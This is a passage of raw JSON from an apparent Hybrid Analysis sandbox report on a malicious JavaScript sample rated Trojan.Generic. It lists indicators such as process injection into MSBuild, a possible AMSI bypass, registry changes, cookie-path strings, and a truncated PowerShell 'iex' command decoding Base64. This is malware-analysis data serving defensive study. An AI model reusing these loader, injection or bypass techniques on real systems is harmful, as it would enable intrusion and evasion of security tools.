(UID: 7016)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Possible AMSI bypass code detected","description":"possible exploit code for AMSI bypass detected","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1562.001","relevance":5,"id":"amsi-1","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"5/26 Antivirus vendors marked sample as malicious (19% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"General","name":"Uses PowerShell to run commands or expressions","description":"$4e","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":3,"id":"target-312","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_EXE_Packed_Babel\" matched process \"00000000-00007016\" as \"Detects executables packed with Babel\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve browser cookies using SQL","description":"Found string \":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Windows\\INetCookies\" (Source: \"00000000-00007016.00000001.172521.47136000.00000004.mdmp\")\n Found string \"icrosoft\\Windows\\INetCookies\" (Source: \"00000000-00007016.00000001.172521.47800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-692","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007016)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00007016)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_flyxf0qj.chg.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_mlrp5lub.p4a.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_flyxf0qj.chg.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_mlrp5lub.p4a.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Command line contains long Base64-encoded string","description":"Commandline contains long base64 encoded string \"KZLZOBKUATJABpAG4AcAKZLZOBKUATB1AHQAQgBhKZLZOBKUATAHMAZQA2ADKZLZOBKUATQARgBpAGwAKZLZOBKUATZQBQAGEAdA.......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$4f","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Process spawned with a very long commandline","description":"Commandline has 16383 characters (Source: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":10,"id":"string-59","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::From\" - (UID: 00000000-00006868)\n \"powershell.exe\" called \"CreateProcessA\" with parameter \"\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe\"\" - (UID: 00000000-00007016)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$50","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Attempts to launch MSBuild.exe using unusual script/process"}],"sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"}],"sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]}]},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":21,"imported_dlls_count":105,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":11,"files_deleted_count":0,"registry_keys_created_count":23,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":23,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"6a0185abac68ba546106cf10","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":84,"malware_family":"Trojan.Generic","submit_name":"780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196.bin","analysis_start_time":"2026-05-11T07:30:52+00:00","indicators_count":{"informative":180,"suspicious":39,"malicious":3},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}],"processes":[{"pid":6868,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196.bin.js\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00006868","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVR4Xs2Siw7DIAhF/XQ/rX+25cYxkV58FbOdxLRFhQNbSoqc8yt66fxDcCGSvxBYkjghcF3XvMQJATAtcUoATEn0BOT3nFn6jq3RxRMo8WSi9290KbnM5hd95gYTkFjOia5CLS5TwHvNUlkS4J1b2uJ4l4WYPb0h0O/eK+5JbAn4+N2HCtjOvQnYfEDn0+cpnsAdyVsn0Gx3WBIAJXbvnk2hvcnZFAC1a/aclVgWAOP/wrzElgCImsS2AIiYxCMB8HQSQQK8qH0yiW0B7I0WcmiJMAEvbju1EiECJdbkaNDFC8ETYIn1sxXge59gE6P4Ary4LaTPsuI6TmECAHFc7C2cQQ75xrvNA7YEgD07wt4XtgWi+H8B+9ueWLbuT3kDb24C8Zv/GpsAAAAASUVORK5CYII="},{"pid":7016,"ppid":6868,"name":"powershell.exe","command_line":"$51","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006868","uid":"00000000-00007016"},{"pid":3344,"ppid":7016,"name":"MSBuild.exe","command_line":"","sha256":"d94e9ea7dce3dd4760f48356f14a986ea1fc8f1c84864105bf815a32284296ab","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe","parent_uid":"00000000-00007016","uid":"00000000-00003344"},{"pid":1800,"ppid":7016,"name":"MSBuild.exe","command_line":"","sha256":"d94e9ea7dce3dd4760f48356f14a986ea1fc8f1c84864105bf815a32284296ab","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe","parent_uid":"00000000-00007016","uid":"00000000-00001800"}],"all_imported_dlls":["mscoreei.dll","KernelBase.dll","slc.dll","msado15.dll","Windows.StateRepositoryPS.dll","System.Transactions.ni.dll","msvcp_win.dll","gdi32.dll","fltLib.dll","uxtheme.dll","jscript.dll","sppc.dll","mpr.dll","ntmarta.dll","sxs.dll","cfgmgr32.dll","windows.storage.dll","msdart.dll","msIso.dll","clr.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Configuration.ni.dll","ntdll.dll","kernel32.dll","VxSSL64.dll","clbcatq.dll","userenv.dll","wldp.dll","urlmon.dll","Microsoft.Management.Infrastructure.ni.dll","ucrtbase.dll","gdi32full.dll","advapi32.dll","MpOAV.dll","System.Numerics.ni.dll","clrjit.dll","wow64.dll","wow64cpu.dll","imm32.dll","cryptsp.dll","rsaenh.dll","cryptbase.dll","mlang.dll","cldapi.dll","propsys.dll","Microsoft.PowerShell.Commands.Management.ni.dll","msxml3.dll","aepic.dll","imagehlp.dll","vcruntime140_clr0400.dll","ucrtbase_clr0400.dll","psapi.dll","System.Data.ni.dll","System.Xml.ni.dll","combase.dll","sspicli.dll","System.Management.Automation.ni.dll","sechost.dll","amsi.dll","mTOjpxV6.dll","MpClient.dll","edputil.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.VisualBasic.ni.dll","oleaut32.dll","bcryptprimitives.dll","crypt32.dll","msasn1.dll","coml2.dll","wshext.dll","scrrun.dll","iertutil.dll","msisip.dll","atl.dll","System.Core.ni.dll","System.DirectoryServices.ni.dll","System.Configuration.Install.ni.dll","user32.dll","ws2_32.dll","wintrust.dll","SHCore.dll","scrobj.dll","gpapi.dll","System.Management.ni.dll","secur32.dll","msctf.dll","rpcrt4.dll","win32u.dll","kernel.appcore.dll","dwmapi.dll","mscoree.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","ole32.dll","mscorlib.ni.dll","System.Data.dll","msvcrt.dll","shlwapi.dll","profapi.dll","powrprof.dll","System.ni.dll","System.Transactions.dll","wow64win.dll","version.dll","bcrypt.dll","shell32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"StartupProfileData-Interactive","sha256":"3e5f0e26b795129f753049f5859426fa329e8885318653e120e53705cb6f92fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Brio.png","sha256":"ce0904add58ad94cff6b13fe5da37bab1490e5ef36d3790f4322faeba41244a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Orio.png","sha256":"85f32eb745bb3e290d7a4721fbef005574d02dedc2c25d0b958a379c5cf9dec8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Xrio.png","sha256":"5578ad67d750464968913db70418884cadf01c2b0f86e4f974f6336b84ad0c60","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%PUBLIC%\\Xrio.png","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%PUBLIC%\\Orio.png","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%PUBLIC%\\Brio.png","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_flyxf0qj.chg.ps1","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_mlrp5lub.p4a.psm1","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6868:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"SM0:6868:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Local\\SM0:6868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Local\\SM0:6868:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"SM0:6868:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6868:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Local\\SM0:7016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"SM0:7016:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"Local\\SM0:7016:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"SM0:7016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7016:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7016:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]}]}},"report_ids":{"sandbox_job_ids":["6a0185abac68ba546106cf10"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 780e0202e2b8… — Score 84/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 780e0202e2b8…. Malware family: Trojan.Generic. Threat score 84/100. 5/26 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 780e0202e2b8… — Score 84/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 780e0202e2b8…. Malware family: Trojan.Generic. Threat score 84/100. 5/26 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 780e0202e2b8… — Score 84/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 780e0202e2b8…. Malware family: Trojan.Generic. Threat score 84/100. 5/26 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L52","11",{}]]